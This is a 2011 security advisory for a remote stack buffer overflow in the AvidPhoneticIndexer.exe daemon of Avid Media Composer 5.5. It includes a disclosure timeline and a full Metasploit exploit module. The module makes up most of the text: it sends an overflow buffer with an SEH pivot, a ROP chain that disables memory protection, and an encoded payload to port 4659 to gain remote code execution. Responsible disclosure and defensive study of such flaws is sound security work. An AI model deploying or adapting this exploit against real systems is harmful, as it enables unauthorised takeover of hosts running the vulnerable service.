AVID Media Composer Phonetic Indexer Remote Stack BoF



#Name :AVID Media Composer Phonetic Indexer Remote Stack Buffer Overflow 

#Vendor Website : http://www.avid.com
#Date Released : November 29, 2011 
#Affected Software : AVID Media Composer <= 5.5.3 Researcher
#Researcher : Nick Freeman (nick.freeman@security-assessment.com)

#Description
#Security-Assessment.com discovered a remote stack buffer overflow vulnerability in a network daemon that #ships with Avid Media Composer 5.5, named AvidPhoneticIndexer.exe. By sending a large request to the #listening network service, it is possible to overwrite the stack of the process and gain arbitrary code #execution.

#Solution
#No patch is available for this vulnerability at this time. Host and network based firewalling are #recommended as workarounds to limit the exposure of the vulnerable service.

#Disclosure timeline
#Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to AVID.
#14/05/11: Vulnerability identified.
#17/05/11: Avid Media Composer 5.5.2 released.
#26/05/11: Attempted calling, left voicemail and emailed the AVID Application Security Management team.
#Early June 2011: Called members of the AVID Media Composer Development team.
#Early-Mid June 2011: Emailed AVID Media Composer Product Management team, who indicated that they were aware #of the vulnerabilities before I had explained the nature of the issues. AVID explained that all #vulnerabilities were in the process of being resolved. Security-Assessment.com suggested collaboration to #ensure all issues were being identified, but AVID was not interested in pursuing this.
#17/08/11: Avid Media Composer 5.5.3 released. Vulnerability still present.
#05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.
#19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.
#29/11/11: Vulnerability advisory and exploit code published.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
            'Description'    => %q{
                    This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),
                which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a
                different port; if you start it standalone it will run on port 4660.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 13137 $",
            'Author'         =>
                [
                    'vt [nick.freeman@security-assessment.com]', 
                ],
            'References'     =>
                [
                    [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],
                ],
            'Payload'        =>
                {
                    'Space'    => 1012,
                    'BadChars' => "\x00\x09\x0a\x0d\x20",
                    'DisableNops' => true,
                    'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'EAX',
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP Professional SP3', {} ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 29 2011",
            'DefaultTarget'  => 0))

            register_options(
                [
                    Opt::RPORT(4659),
                ], self.class)
    end

    def exploit

        junk = 'A' * 216 
        sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB :  # ADD ESP,1800 # RETN 
        junk2 = 'A' * 732

        rop_gadgets = [
        
                # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)
                0x7C344CC1,  # pop eax;ret;
                0x7C3410C2, # pop ecx;pop ecx;ret;
                0x7C342462, # xor chain; call eax {0x7C3410C2}
                0x7C38C510, # writeable location for lpflOldProtect
                0x7C365645, # pop esi;ret;
                0x7C345243, # ret;
                0x7C348F46, # pop ebp;ret;
                0x7C3487EC, # call eax 
                0x7C344CC1, # pop eax;ret; 
                0xfffffbfc, # {size}
                0x7C34D749, # neg eax;ret; {adjust size}
                0x7C3458AA, # add ebx, eax;ret; {size into ebx}
                0x7C3439FA, # pop edx;ret; 
                0xFFFFFFC0, # {flag}
                0x7C351EB1, # neg edx;ret; {adjust flag}
                0x7C354648, # pop edi;ret;
                0x7C3530EA, # mov eax,[eax];ret;
                0x7C344CC1, # pop eax;ret;
                0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
                0x7C355AEB, # sub eax,30;ret;
                0x7C378C81, # pushad; add al,0xef; ret;
                0x7C36683F, # push esp;ret;
        ].pack("V*")
        
        # need to control a buffer reg for the msf gen'd payload to fly. in this case:
        bufregfix = "\x8b\xc4"         # MOV EAX,ESP
        bufregfix += "\x83\xc0\x10"     # ADD EAX,10 
        
        connect
        sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded 
        sock.put(sploit)
        handler
        disconnect
    end
end